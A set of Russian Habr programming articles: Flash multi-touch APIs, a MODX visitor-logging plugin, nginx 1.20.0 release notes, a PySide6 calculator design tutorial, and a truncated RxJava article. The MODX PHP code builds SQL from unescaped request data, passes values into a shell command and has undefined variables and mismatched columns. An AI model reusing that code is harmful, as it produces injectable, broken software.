Flash платформа в данный момент поддерживает multi-touch и жесты в Flash Player 10.1 в браузере, в приложениях для iPhone или iPod touch и в Adobe AIR 2. Поддержка multi-touch зависит от возможности железа и от аппаратного обеспечения. Далее приводится список плафторм, поддерживающих multi-touch и жесты на момент написания данной статьи (17 ноября 2009):
**Multi-touch**
* Windows 7 и более поздние (с программным обеспечением, поддерживающим multi-touch), включая Flash Player 10.1 и Adobe AIR 2 приложения.
* iPhone OS 3.0 и более поздние
**Жесты**
* Windows 7 и более поздние (с программным обеспечением, поддерживающим multi-touch), включая Flash Player 10.1 и Adobe AIR 2 приложения.
* Mac компьютеры с Mac OS X 10.5.3 и более поздними версиями (с mult-touch тракпадами).
* iPhone OS 3.0 и более поздние
Далее приводится список поддерживаемых жестов в различных платформах
**Windows 7**
* TransformGestureEvent.GESTURE\_PAN
* TransformGestureEvent.GESTURE\_ROTATE
* TransformGestureEvent.GESTURE\_ZOOM
* GestureEvent.GESTURE\_TWO\_FINGER\_TAP
* PressAndTapGestureEvent.GESTURE\_PRESS\_AND\_TAP
**Mac OS X 10.5.3 и более поздние**
* TransformGestureEvent.GESTURE\_PAN
* TransformGestureEvent.GESTURE\_ROTATE
* TransformGestureEvent.GESTURE\_SWIPE
* TransformGestureEvent.GESTURE\_ZOOM
**iPhone и iPod touch**
* TransformGestureEvent.GESTURE\_PAN
* TransformGestureEvent.GESTURE\_ROTATE
* TransformGestureEvent.GESTURE\_SWIPE
* TransformGestureEvent.GESTURE\_ZOOM
**Windows Mobile 6.5**
* TransformGestureEvent.GESTURE\_PAN
#### Класс Multitouch
Вся работа с multi-touch и жестами начинается с класса Multitouch. Он содержит некоторые свойства, необходимые для написания приложений, поддерживающих multi-touch и жесты.
##### Определяем поддержку multi-touch и жестов
Перед использованием multi-touch и жестов неплохо определить, возможно ли вообще их использование. Для этого есть свойства Multitouch.supportsGestureEvents и Multitouch.supportsTouchEvents, позволяющие определить, поддерживает ли устройство, на котором запущено ваше приложение, необходимые приложению возможности.
Если вы пишете приложение специально для iPhone, то нет необходимости использовать эти свойства. Но если же вы пишете приложение, предназначенное для запуска в различных местах, эти два свойства вам просто необходимы.
##### Установка input mode
Установка свойства Multitouch.inputMode необходимо для того, что бы runtime знал, какие типы событий вам нужны. Это свойство может принимать одно из следующих значений:
* MultitouchInputMode.GESTURE: Используйте этот режим для объединения multi-touch событий в жест. Простые события (такие как «нажатие») превратятся в мышиные.
* MultitouchInputMode.TOUCH\_POINT: Используйте этот режим, если вам интересны только touch события. Вы можете использовать этот режим для создания своих собственных жестов или если вам необходима поддержка и multi-touch событий и жестов одновременно.
* MultitouchInputMode.NONE: Используйте этот режим, если вы хотите, что бы ваше приложение работало одинаково на устройствах как поддерживающих, так и не поддерживающих multi-touch, без написания дополнительного кода.
Заметка: Свойство Multitouch.inputMode можно использовать для получения текущего режима взаимодействия.
##### Определение поддерживаемых жестов
При использовании режима MultitouchInputMode.GESTURE неплохо проверять, какие жесты доступны. Это можно сделать используя свойство Multitouch.supportedGestures. Свойство содержит Vector строк. Элементы вектора эквивалентны типам событий, описываемых классами GestureEvent, PressAndTapGestureEvent и TransformGestureEvent.
##### Определение максимального количества точек прикосновения (touch point)
Если вы используете режим MultitouchInputMode.TOUCH\_POINT, то будьте внимательны с количеством одновременно обрабатываемых прикосновений. Определить максимально доступное для обработки количество прикосновений можно воспользовавшись свойством Multitouch.maxTouchPoints. Попытка одновременно использовать количество точек большее, чем поддерживает устройство, может привести к неожиданному результату (например все активные точки исчезнут).
##### Регистрирование событий
И события прикосновения, и жесты генерируются классом InteractiveObject. Это значит, что вы можете использовать их с любыми объектами, классы которых наследуют от InteractiveObject. Например с объектами классов SimpleButton, TextField, Loader, Sprite, Stage.
#### Обработка multi-touch событий
Следующие события могут быть зарегестрированы для экземпляра класса InteractiveObject или же любого его наследника:
* TOUCH\_BEGIN: Начало touch события (прикосновение)
* TOUCH\_END: Конец touch события
* TOUCH\_MOVE: Перемещение точки прикосновения (другими словами, пользователь водит пальцем по экрану или тачпаду).
* TOUCH\_OVER: Точка прикосновения переместилась в пределы InteractiveObject. В отличии от TOUCH\_ROLL\_OVER, данное событие распространяется на все дочерние элементы InteractiveObject-а.
* TOUCH\_OUT: Точка прикосновения переместилась за пределы InteractiveObject. В отличии от TOUCH\_ROLL\_OUT, данное событие распространяется на все дочерние элементы InteractiveObject-а.
* TOUCH\_ROLL\_OVER
* TOUCH\_ROLL\_OUT
* TOUCH\_TAP: Быстрый «щелчек»
##### Свойства события прикосновения
Событие прикосновения имеет те же свойства, что и мышиное событие, но так же имеет некоторые новые свойства:
* isPrimaryTouchPoint: определяет, является ли первая точка прикосновения отображаемой в мышиное событие.
* pressure: Значение между 0.0 и 1.0. Определяет силу нажатия. Наличие данного свойства зависит от аппаратной возможности узнать его. То есть оно поддерживается только на некоторых multi-touch устройствах.
* sizeX: Ширина области контакта. Поддерживается только на некоторых multi-touch устройствах.
* sizeY: Высота области контакта. Поддерживается только на некоторых multi-touch устройствах.
* touchPointID: Уникальный итендификатор точки прикосновения. Удобен для отслеживания одновременных прикосновений.
##### Новые touch методы класса Sprite
Также появились некоторые новые методы у класса Sprite, связанные с прикосновениями:
* startTouchDrag: Позволяет пользователю «таскать» спрайт пальцами.
* stopTouchDrag: Прекращает таскание спрайта.
##### Пример использования
> `Multitouch.inputMode = MultitouchInputMode.TOUCH\_POINT;
>
> this.stage.addEventListener(TouchEvent.TOUCH\_BEGIN, onTouchBegin);
>
> this.stage.addEventListener(TouchEvent.TOUCH\_MOVE, onTouchMove);
>
> this.stage.addEventListener(TouchEvent.TOUCH\_END, onTouchEnd);
>
>
>
> private function onTouchBegin(e:TouchEvent):void {
>
> var dot:Sprite = this.getCircle();
>
> dot.x = e.stageX;
>
> dot.y = e.stageY;
>
> this.stage.addChild(dot);
>
> dot.startTouchDrag(e.touchPointID, true);
>
> this.dots[e.touchPointID] = dot;
>
> }
>
>
>
> private function onTouchEnd(e:TouchEvent):void {
>
> var dot:Sprite = this.dots[e.touchPointID];
>
> this.stage.removeChild(dot);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Обработка жестов
Есть следующие типы событий, срабатывающих при жестах: GestureEvent, PressAndTapGestureEvent и TransformGestureEvent.
Список типов таких событий:
* GestureEvent.GESTURE\_TWO\_FINGER\_TAP: Щелчек двумя пальцами
GesturePressAndTap.GESTURE\_PRESS\_AND\_TAP: Пользователь, удерживая один палец, щелкнул вторым.
* TransformGestureEvent.GESTURE\_PAN
* TransformGestureEvent.GESTURE\_ROTATE: Пользователь «вращает» что-либо на экране двумя пальцами (либо на тачпаде).
* TransformGestureEvent.GESTURE\_SWIPE: Быстрое перемещение точки касания. Например «зачеркивание» элемента списка или скролл.
* TransformGestureEvent.GESTURE\_ZOOM: Пользователь двумя пальцами «растягивает» изображение.
##### Свойства события жеста
Свойства имеют много общего с классом мышиного события. PressAndTapGestureEvent и TransformGestureEvent добавляют некоторые свойства в зависимости от жеста:
PressAndTapGestureEvent:
* tapLocalX, tapLocalY — горизонтальные и вертикальные координаты точки касания относительно объекта
* tapStageX, tapStageY — глобальные горизонтальные и вертикальные координаты
TransformGestureEvent:
* offsetX, offsetY — горизонтальное и вертикальное смещение.
* scaleX, scaleY — горизонтальное и вертикальное изменение масштаба.
* rotation — вращение в градусах.
##### Пример использования
> `Multitouch.inputMode = MultitouchInputMode.GESTURE;
>
> elephant.addEventListener(TransformGestureEvent.GESTURE\_ZOOM, onZoom);
>
> elephant.addEventListener(TransformGestureEvent.GESTURE\_ROTATE, onRotate);
>
>
>
> private function onZoom(e:TransformGestureEvent):void
>
> {
>
> var elephant:Sprite = e.target as Sprite;
>
> elephant.scaleX \*= e.scaleX;
>
> elephant.scaleY \*= e.scaleY;
>
> }
>
>
>
> private function onRotate(e:TransformGestureEvent):void
>
> {
>
> var elephant:Sprite = e.target as Sprite;
>
> elephant.rotation += e.rotation;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/81241/ | null | ru | null |
# MODх — Учет посетителей сайта и график посещений
Как и многие программисты, я страдаю некоторой степенью подозрительности к чужим сервисам, и предпочитаю делать все сам.
К чужим сервисам, в частности относится liveinternet и другие счетчики посещений. Я им как то не доверяю, знаете ли.
Сейчас я вам расскажу (и покажу) как нетрудно сделать учет посетителей сайта с помощью modx.
#### Этап 1. Пишем лог.
Для начала нам нужно создать таблицу для хранения посещений. Делаем sql запрос как вам удобно. Например, в phpmyadmin.
```
CREATE TABLE IF NOT EXISTS `modx_visitors_log` (
`index` int(10) NOT NULL AUTO_INCREMENT,
`ip` varchar(15) COLLATE utf8_unicode_ci NOT NULL,
`host` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`url` text COLLATE utf8_unicode_ci NOT NULL,
`datetime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`referer` text COLLATE utf8_unicode_ci NOT NULL,
`browser` varchar(255) NOT NULL,
PRIMARY KEY (`index`),
KEY `ip` (`ip`,`host`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci AUTO_INCREMENT=1 ;
```
Таблица готова, теперь нам нужен плагин, для фиксирования посещений.
Большинство пользователей знают про сниппеты и чанки в modx, а вот про плагины обычно не в курсе. Рассказываю: плагин в modx, если по простому — это сниппет, который работает без вызова из документа, сам по себе, реагируя на системные события, коих в движке предусмотрено довольно много. Нас интересует событие **OnLogPageHit**.
Идем в
`Элементы->Управление элементами->Плагины->Создать плагин`
Называем новый плагин **dbLog** и вставляем в него следующий код:
```
/* Основные настройки*/
// Таблица для лога посетителей по умолчанию это modx_visitors_log
$db = '`modx_visitors_log`';
// Не логировать этих юзеров и IP. Если логировать всех - должны быть пустые массивы
$not_log_ip = array('192.168.100.1', '192.168.100.2');
$not_log_user = array('bezumkin');
/* Конец настроек */
// Выставляем переменные
$login = $_SESSION['webShortname']; // Если у вас юзеры авторизуются на сайте. Если нет - будет пустое поле.
$ip = $_SERVER['REMOTE_ADDR']; // IP запрашивающего адреса. Проверки на прокси нет.
$host = ''; // Здесь будет имя хоста, принадлежащего IP юзера. Пока не трогаем.
$url = $_SERVER['REQUEST_URI']; // Запрашиваемая страница.
$referer = urlencode($_SERVER['HTTP_REFERER']); // Откуда пришел юзер, по какой ссылке.
$browser = mysql_real_escape_string($_SERVER['HTTP_USER_AGENT']); // Браузер юзера. Я использую класс browscap, а вы как хотите. Для примера сойдет и так.
// Пишем в лог
if (!in_array($ip, $not_log_ip) and !in_array($login, $not_log_login)) {
$modx->db->query("INSERT INTO $db (`login`, `ip`, `host`, `url`, `referer`,`browser`)
VALUES ('$login','$ip','$host', '$url','$referer','$browser')");
}
```
Переключаем вкладку **Системные события** и выставляем **OnLogPageHit**, затем жмакаем сохранить. *Обратите внимание: при оформлении плагина в редакторе админки не должно быть php вначале и ? в конце*. У сниппетов должно, а у плагинов — нет. Не знаю почему так сделано, но при написании своего первого пагина я много матерился.
Все, плагин уже должен фиксировать всех ваших посетителей. Если вы, конечно, нигде не ошиблись!
Кстати, есть еще вариант повешать срабатывание плагина на событие **OnWebPageComplete**. Тогда нужно будет в настройках админки включить «Регистрировать посещения» и заработает аналогичный тырчик в свойствах документов. Тоже не плохой вариант, но я его еще не обкатывал. Подробнее о событиях [можно глянуть тут](http://wiki.modxcms.com/index.php/API:Template_Service_Events#OnLogPageHit).
Если вы хотите узнавать имена хостов, которые зарегистрированы на ip ваших посетителей, можно сделать еще один сниппет (**Ip2Host**) и запускать его по расписанию.
Почему так? Это сэкономит силы серверу, ибо, если узнавать хост юзера при каждом запросе страницы — нагрузка будет нешуточная. Лучше запускать раз в сутки, ночью.
```
php
$db = '`modx_visitors_log`';
// Выбираем все записи, с пустым полем host
$sql = $modx-db->query("SELECT `ip` FROM $db WHERE `host` = '' GROUP BY `ip`");
$arr = $modx->db->makeArray($sql);
// Перебираем их все
foreach ($arr as $v) {
$ip = $v['ip'];
// Делаем обычный nslookup. Если сайт хостится на Windows, во-первых, мне вас жаль, а во-вторых - эту строчку придется поменять на что-то другое.
$host = `nslookup "$ip" | grep 'name =' | awk '{print $4}'`;
// Если имени мы не получили - пишем, что хост не известен, чтобы повторно его не выбирать в следующий раз.
if (empty($host)) {$host = 'unknown';}
//Сохраняем результат в базу.
$modx->db->query("UPDATE $db SET `host` = '$host' WHERE `ip` = '$ip' AND `host` = '';");
}
?>
```
Нужно оформить вызов на какой-нибудь скрытой от посторонних странице:
`[!Ip2Host!]`
и дергать ее cron`ом:
`10 2 * * * * user wget localhost/secret_page.html`
#### Этап второй. Вывод лога на экран.
В принципе, ваши посещения уже в базе, и выводить их оттуда можно как удобно. Лично мне приятно наблюдать это в виде симпатичного графика и отдельной табличке с циферками.
Так и сделаем.
Пишем сниппет для забора данных из БД и вывода их в понятную таблицу, график будем делать позже. Комментарии как обычно, внутри кода.
```
php
/* Основные настройки */
if (empty($db)) {$db = '`modx_visitors_log`';} // База данных с логом
if (empty($days)) {$days = 14;} // Кол-во дней для вывода таблицы
if (empty($daysText)) {$daysText = 'дней';} // Текст после кол-ва дней в чанке, не обязательно
if (empty($tpl)) {$tpl = 'visitStat.tpl';} // Шаблон для таблицы
if (empty($act)) {$act = 'graph';} // Режим вывода таблицы, всего их два, graph & table
if (empty($dateFormat)) {$dateFormat = '%d.%m';} // вывод даты, формат strftime()
if (empty($int)) {$int = 2;} // Интервал вывода даты в режиме graph. по умолчанию - каждая вторая.
/* Конец настроек */
// Выясняем, за какое время выбирать данные
$cur = time();
$end = date("Y-m-d");
$start = strftime("%Y-%m-%d", ($cur - ($days * 86400)));
// Выбираем
$sql = $modx-db->query("SELECT DATE(`datetime`) as `date`,
COUNT(distinct `ip`) as `host`,
COUNT(`ip`) as `hit`
FROM $db WHERE DATE(`datetime`) BETWEEN '$start' AND '$end'
GROUP BY DATE(`datetime`) ORDER BY `datetime` ASC");
$result = $modx->db->makeArray($sql);
// Разбираем результат на 3 разных массива, дату, хосты и хиты
foreach($result as $v) {
$date[] = $v['date'];
$host[] = $v['host'];
$hit[] = $v['hit'];
}
// В режиме graph выводится каждая $int дата, в режиме таблицы - все даты
$i = 1;
foreach ($date as $v) {
if ($act == 'graph') {
if ($i == $int) {
$i = 0;
$date2 .= ' |';
}
else {
$date2 .= ' '.strftime($dateFormat, strtotime($v)).' |';
}
$i++;
}
else if ($act == 'table') {
$date2 .= ' '.strftime($dateFormat, strtotime($v)).' |';
}
}
foreach ($host as $v) {
$host2 .= ' '.$v.' |';
}
foreach ($hit as $v) {
$hit2 .= ' '.$v.' |';
}
$placeholders = array('[+stat.days+]','[+stat.days.text+]','[+stat.date+]','[+stat.host+]','[+stat.hit+]');
$values = array($days, $daysText, $date2, $host2, $hit2);
$html = $modx->getChunk($tpl);
echo str_replace($placeholders, $values, $html);
?>
```
Создаем сниппет, называем его, например, **generateStatGraph**, копируем туда код и сохраняем.
Теперь нам нужно как то вывести на экран результат нашей бурной деятельности.
Нам понадобится два чанка-шаблона. первый, просто для таблицы, второй посложнее — для построения графика. Их можно будет использовать независимо друг от друга.
Первый шаблон, для вывода таблицы (tpl.StatTable).
```
Статистика посещений сайта за последние [+stat.days+] [+stat.days.text+]| |[+stat.date+]
| Посетители |[+stat.host+]
| --- |
| Просмотры |[+stat.hit+]
```
Второй шаблон, для построения графика (tpl.StatGraph).
```
$(document).ready(function(){
$('#chart').visualize({
type: 'area',
width: '570',
height: '300'
});
});
Статистика посещений сайта за последние [+stat.days+] [+stat.days.text+]| |[+stat.date+]
| Посетители |[+stat.host+]
| --- |
| Просмотры |[+stat.hit+]
```
Как вы можете заметить, эти два шаблона отличаются наличием во втором подключения замечательного плагина jquery [jQuery Visualize](http://www.filamentgroup.com/lab/update_to_jquery_visualize_accessible_charts_with_html5_from_designing_with/), который позволяет нам строить графики из таблиц. А также оформление этого графика.
Отрисовка графика запускается следующим кодом (подробнее про параметры jquery.visualize, а также примеры оформления — по ссылке выше):
```
$(document).ready(function(){
$('#chart').visualize({
type: 'area',
width: '570',
height: '300'
});
});
```
Уффф… Уже почти все.
#### Этап 3. Запуск!
Создаем новый документ modx и запускаем в нем сниппет (отдельно таблицу и график).
```
[!generateStatGraph?
&days=`20`
&tpl=`tpl.StatTable`
&act=`table`
&dateFormat=`%d *%b*`
!]
[!generateStatGraph?
&days=`20`
&daysText=`дней`
&tpl=`tpl.StatGraph`
&act=`graph`
&dateFormat=`%d`
!]
```
*Хотелось бы отметить, что здесь мы рассмотрели только показ анонимной статистики посещений, а в БД у нас хранится информация об ip, времени посещений, браузерах юзеров и тд. Эту информацию вы можете просматривать или напрямую из БД, или написать простенький сниппет + чанк оформления для вывода на сайт, в защищенный раздел.*
#### Приложение.
Кому любопытно — можно [посмотреть результат в работе](http://old.webstartpage.ru/stat.html), заодно воочию зацените хабраэффект.
Кстати, видно некислое различие статистики, которую собираю я, и которую показывает liveinternet на счетчике внизу каждой страницы.
Параметры сниппета generateStatGraph:
&db
`по умолчанию: `modx_visitors_log`
значение: [string]
описание: Имя существующей таблицы, можно вместе с БД (`modx`.`modx_log`).`
&dateFormat
`по умолчанию: '%d %b %Y %H:%M'
значение: переменные strftime()
описание: Формат даты.`
&days
`по умолчанию: 14
значение: [int]
описание: Количество дней выборки посещений от сейчас.`
&$daysText
`по умолчанию: 'дней'
значение: [string]
описание: Текст подписи для кол-ва дней выборки, не обязательно, используется только в шаблонах.`
&tpl
`по умолчанию: 'tpl.StatGraph'
значение: Имя существующего шаблона modx
описание: Шаблон для вывода таблицы.`
&act
`по умолчанию: 'graph'
значение: graph, table
описание: Режим обработки таблицы при выводе. graph пропускает даты.`
∫
`по умолчанию: 2
значение: [int]
описание: Если &act=`graph`, ∫ указывает, каждую какую дату показывать. по умолчанию - каждую вторую.`
Плэйсхолдеры сниппета eventsCalendar:
[+stat.days+]
`Количество дней выборки`
[+stat.days.text+]
`Подпись к дням.`
[+stat.date+]
`Дата в заданном формате.`
[+stat.host+]
`Количество уникальных посещений за день (хосты).`
[+stat.hit+]
`Количество не уникальных посещений за день (хиты).`
Ссылки на нужные сайты.
* [jQuery](http://www.jquery.com)
* [jQuery Visualize](http://www.filamentgroup.com/lab/update_to_jquery_visualize_accessible_charts_with_html5_from_designing_with)
Багрепорты засылать на bezumkin@yandex.ru, или оставлять в этой теме. | https://habr.com/ru/post/111203/ | null | ru | null |
# Вышел релиз nginx 1.20.0
С момента выхода прошлой версии nginx прошел целый год. Сейчас [представлена](http://nginx.org/#2021-04-20) новая стабильная ветка nginx 1.20.0. По словам разработчиков, в нее вошли все изменения, которые ранее были накоплены в ветке 1.19.x. В новой ветке изменения будут связаны с ликвидацией серьезных ошибок и уязвимостей.
В ближайшее время разработчики сформируют основную ветку 1.21, которая будет получать новые возможности. Тем пользователям, кому не нужна совместимость со сторонними модулями, рекомендуется использовать основную ветку. На ее основе раз в квартал формируются выпуски коммерческого продукта Nginx Plus.
### Немного статистики
[Согласно данным](https://news.netcraft.com/archives/2021/03/29/march-2021-web-server-survey.html) компании Netcraft, nginx используется на 20,15% всех активных сайтов. Год назад этот показатель составлял 19,56%, два года назад — 20,73%. Nginx находится на втором месте после Apache, доля которого составляет 25,38% (год назад — 27,64%). На третьем месте находится Google с 10,09%, а на четвертом — Cloudflare (8,51%).
Если учитывать все сайты, то nginx является лидером с 35,34% рынка. У Apache — 25,98%, у OpenResty (платформа на базе nginx и LuaJIT.) — 6.55%, Microsoft IIS — 5.96%.
Если же оценивать использование nginx самыми посещаемыми сайтами в мире, то доля nginx составляет 25,55% (год назад — 25,54%, два года назад — 26,22%). Количество сайтов, которые работают под управлением nginx, составляет 419 млн. В России nginx используется на 79,1% самых посещаемых сайтов (год назад — 78,9%).
### Ну а теперь — об изменениях
Новый релиз получил сразу несколько [заметных улучшений](https://www.opennet.ru/opennews/art.shtml?num=54992):
* Возможность проверки клиентских сертификатов с привлечением внешних служб на базе протокола OCSP (Online Certificate Status Protocol). Для включения проверки предложена директива “ssl\_ocsp”, для настройки размера кэша — “ssl\_ocsp\_cache”, для переопределения URL OCSP-обработчика, указанного в сертификате, — “ssl\_ocsp\_responder”.
* В состав новой версии вошел модуль “ngx\_stream\_set\_module”, позволяющий присвоить значение переменной:
```
server {
listen 12345;
set $true 1;
}
```
* Разработчики добавили директиву “proxy\_cookie\_flags” для указания флагов для Cookie в проксируемых соединениях.
* Добавлены и директивы «ssl\_conf\_command», «proxy\_ssl\_conf\_command», «grpc\_ssl\_conf\_command» и «uwsgi\_ssl\_conf\_command», при помощи которых можно задать произвольные параметры для настройки OpenSSL. Так, при необходимости приоритизировать шифры ChaCha и выполнить расширенную настройку шифров TLSv1.3 можно указать:
```
ssl_conf_command Options PrioritizeChaCha;
ssl_conf_command Ciphersuites TLS_CHACHA20_POLY1305_SHA256;
```
* Еще одно важное обновление — добавление директивы «ssl\_reject\_handshake», которая предписывает отвергать все попытки согласования SSL-соединений (например, можно использовать для отклонения всех обращений с неизвестными именами хостов в поле SNI).
```
server {
listen 443 ssl;
ssl_reject_handshake on;
}
server {
listen 443 ssl;
server_name example.com;
ssl_certificate example.com.crt;
ssl_certificate_key example.com.key;
}
```
* В почтовый прокси вошла директива “proxy\_smtp\_auth”, которая дает возможность аутентифицировать пользователя на бэкенде при помощи команды AUTH и механизма PLAIN SASL.
* Добавлена директива «keepalive\_time». Ее задача — ограничение общего времени жизни каждого keep-alive соединения, по истечении которого соединение будет закрыто (не путать с директивой “keepalive\_timeout”, определяющей время неактивности, после которого keep-alive соединение закрывается).
* Появилась переменная $connection\_time, через которую можно получить информацию о продолжительности соединения в секундах с миллисекундной точностью.
* В уже имеющиеся директивы «proxy\_cache\_path», «fastcgi\_cache\_path», «scgi\_cache\_path» и «uwsgi\_cache\_path» добавлен параметр «min\_free», регулирующий размер кэша на основе определения минимального размера свободного дискового пространства.
* Директивы «lingering\_close», «lingering\_time» и «lingering\_timeout» адаптированы для работы с HTTP/2.
* Разработчики также приблизили код обработки соединений в HTTP/2 к реализации HTTP/1.x. Поддержка отдельных настроек «http2\_recv\_timeout», «http2\_idle\_timeout» и «http2\_max\_requests» прекращена в пользу общих директив «keepalive\_timeout» и «keepalive\_requests». Удалены настройки «http2\_max\_field\_size» и «http2\_max\_header\_size», вместо них нужно использовать «large\_client\_header\_buffers».
* Появилась новая опция командной строки "-e". Она дает возможность указать альтернативный файл для записи лога ошибок, который будет использоваться вместо лога, заданного в настройках. Вместо имени файла можно указать специальное значение stderr.
[](https://slc.tl/xRyNU) | https://habr.com/ru/post/553362/ | null | ru | null |
# Простой GUI калькулятор на Python #1. Дизайн приложения
Штош. Наверное, каждый начинающий программист после *"Hello, world!"* хочет написать какой-нибудь простенький проект. Почти всегда в голову приходит идея создания калькулятора. Но консольный калькулятор - это как-то скучно и просто. Хочется сделать приложение вот прямо как в системе. Ну или хотя бы что-то похожее.
В этой серии статей я научу вас делать простой кроссплатформенный десктопный калькулятор. Здесь не будет тригонометрических функций, процентов, интегралов и других полезных вещей. Вы сможете добавить их по своему желанию.
Мы будем использовать язык [Python](https://www.python.org/), фреймворк [Qt](https://www.qt.io/product/framework), библиотеку [PySide6](https://pypi.org/project/PySide6/), сразу установим её:
`pip install PySide6`
Qt Designer
-----------
Создавать интерфейс мы будем в приложении **Qt Designer.** Его можно [скачать отдельно](https://build-system.fman.io/qt-designer-download) или найти в папке установленного PySide. Для этого перейдем по пути:
`python(или venv*)/Lib/site-packages/PySide6/designer.exe`
Создаем **Main Window,** т.е. главное окно приложения.
Сразу убираем ненужные **menubar** и **statusbar.**
Название приложения можно изменить в свойстве главного окна **windowTitle.**
Элементы калькулятора
---------------------
Перетащим нужные элементы в интерфейс. В нашем калькуляторе будет поле ввода **Line Edit.**
**Label** с временным выражением над этим полем ввода.
**Grid Layout** для кнопок.
Просто закинем эти элементы и выберем **Lay Out Vertically** для центрального виджета.
Теперь закинем кнопки в Grid Layout, у меня будет 4 колонки и 5 рядов. Чтобы скопировать и вставить элемент, можно перетащить его с зажатой клавишей **Ctrl.**
Поставим текст во все кнопки. Для Backspace мы позже поставим иконку.
Проставим горячие клавиши для всех кнопок, кроме Clear и отрицания. За это отвечает свойство **shortcut.** К сожалению, в Qt Designer нельзя указать несколько горячих клавиш для одной кнопки. Хотелось бы, чтобы клавиши "**Enter", "Return"** и **"="** выполняли вычисление. Мы сделаем это позже в коде. А пока поставим для вычисления одинокую клавишу **=.**
Запишем 0 в Line Edit и выберем правое горизонтальное выравнивание для текста.
Нам нужно сделать так, чтобы пользователь не мог вводить что попало в это поле, чтобы он мог его только читать. Для этого существует свойство **readOnly.**
Укажем максимальную длину в 16 символов, как в калькуляторе Windows.
Запишем в лейбл какое-нибудь выражение и поставим правое выравнивание.
Чтобы посмотреть превью дизайна используйте сочетание клавиш **Ctrl + R.**
Давайте назовем элементы, чтобы в коде было проще обращаться к ним.
Размерная политика элементов
----------------------------
Вы спросите: "Почему интерфейс так плохо выглядит?". Все потому, что у элементов не настроена вертикальная политика. Для лейбла и поля поставим **Maximum.**
Конечно же не забываем сохранить файл интерфейса. Он имеет расширение `ui`. Обычно я называю файл `design.ui`
Для всех кнопок поставим **Expanding.**
Стилизация калькулятора
-----------------------
Сначала нужно определиться с цветовой палитрой. Я буду использовать 4 цвета:
1. Почти черный `#121212` для фона.
2. Белый `#FFF` для текста кнопок и поля ввода.
3. Серый `#666` для фона кнопок при наведении.
4. Серый посветлее `#888` для текста временного выражения и фона кнопок при нажатии.
В Qt Designer поддерживается язык **css.** Напишем простенький stylesheet для главного окна. Для всего виджета указываем белый цвет текста и почти черный цвет `#121212` для фона.
Я буду использовать бесплатный шрифт [Rubik](https://fonts.google.com/specimen/Rubik?query=rubik) из библиотеки Google Fonts. Он довольно приятный.
```
QWidget {
color: white;
background-color: #121212;
font-family: Rubik;
font-size: 16pt;
font-weight: 600;
}
```
Давайте посмотрим, что получается.
Давайте изменим кнопки на плоские с прозрачным фоном.
```
QPushButton {
background-color: transparent;
border: none;
}
```
Теперь напишем изменение фона кнопок при наведении и нажатии. При наведении цвет фона будет меняться на серый `#666`, при нажатии на серый `#888.`
```
QPushButton:hover {
background-color: #666;
}
QPushButton:pressed {
background-color: #888;
}
```
Посмотрим на результат.
Стили для Line Edit и Label
---------------------------
Сначала разберемся с Line Edit. Поставим размер шрифта `40pt` и уберем границы. Я не буду делать какие-то изменения при наведении и нажатии, потому что пользователь не может взаимодействовать с этим полем.
```
font-size: 40pt;
border: none;
```
Для лейбла укажем только цвет `#888`. С этим элементом пользователь тоже не может взаимодействовать.
```
color: #888;
```
Иконки
------
Теперь зайдем на [Google Icons](https://fonts.google.com/icons) и возьмем черную иконку калькулятора и белую иконку backspace. Я возьму Sharp иконки с размером `24` пикселя. Формат выбирайте на ваше усмотрение. По опыту скажу, что лучше **SVG.** И лучше оно не только в том, что оно без труда масштабируется без потери качества (векторная графика), но еще и скачивается одним файлом. При скачивании **PNG** вам нужно будет распаковать архив, зайти в одну из двух папок и вытащить саму иконку.
> В статье я скачивал PNG, не делайте так. Я думал, что Qt Designer не поддерживает иконки с векторной графикой, даже не попробовав.
>
>
Создадим файл ресурсов:
`Resource Browser > Edit Resources > New Resource File.`
Я сохранил файл с названием `files.qrc`*.* Добавим префикс для иконок.
Закинем туда наши две иконки.
Поставим иконку Backspace:
`icon > choose Resource`
Поставим размер `24 x 24` пикселя в свойстве **iconSize.**
То же самое проделаем для иконки приложения.
Финальные штрихи
----------------
Почти готово. Убираем текст из лейбла. Ставим размер главного окна. У меня будет 300 на 500 пикселей. Такой же размер поставлю минимальным для приложения.
Еще добавлю такую фичу - курсор "указывающая рука" для кнопок. Поставлю только для одной кнопки, сейчас доделаем в коде.
Редактируем интерфейс в коде
----------------------------
Файл интерфейса представляет собой файл с xml разметкой. Мы можем найти блок кода с указывающей рукой, введя в поиске по коду `Pointing`
```
PointingHandCursor
```
Заметим, что этот блок кода идет после блока размерной политики. Поэтому нам нужно заменить:
```
0
0
```
на:
```
0
0
PointingHandCursor
```
В современных редакторах это сделать очень просто. Например, в VS Code нужно нажать **Ctrl + H.**
Впишем нужные блоки кода и нажмем **Replace All (Ctrl + Alt + Enter).**
Проверяем в дизайне.
Дизайн сделан, поздравляю!
Конвертируем файл ресурсов и интерфейса
---------------------------------------
Для начала нам нужно конвертировать файл ресурсов в питоновский файл. Для этого напишем в терминале:
`pyside6-rcc "название файла ресурсов.qrc" > "название файла ресурсов_rc.py"`
В нашем случае:
`pyside6-rcc files.qrc > files_rc.py`
Теперь конвертируем в Python файл интерфейса. Для этого введем в терминал тот же самый синтаксис, но теперь используем **pyside6-uic:**
`pyside6-uic design.ui > design.py`
Если у вас на выходе получаются файлы с кодировкой `UTF-16`**,** конвертируйте их в `UTF-8` во избежание дальнейших проблем.
Штош, в [следующей статье](https://habr.com/p/587276/) напишем код для главного функционала калькулятора. До встречи.
---
[Репозиторий на GitHub](https://github.com/lesskop/shtosh-calculator) | https://habr.com/ru/post/586730/ | null | ru | null |
# Грокаем RxJava, часть вторая: Операторы
В [первой части](http://habrahabr.ru/post/265269/) мы с вами рассмотрели основные строительные блоки RxJava, а также познакомились с оператором `map()`. Я могу понять тех из вас, кто всё ещё не чувствует желания всё бросить и начать использовать этот фреймворк, так как пока что мы, условно выражаясь, рассмотрели лишь вершину айсберга. Но скоро всё переменится — большая часть всей мощи RxJava скрывается в её операторах, и я как раз подготовил для вас пример, по которому можно изучить некоторую их часть.
Задача
------
Предположим, что у меня есть такой вот метод:
```
// Возвращает список url'ов, основываясь на поиске по содержимому веб-страницы
Observable> query(String text);
```
Я хочу написать систему для поиска и отображения текста. Основываясь на том, что мы изучили в предыдущем уроке, мы можем написать нечто подобное:
```
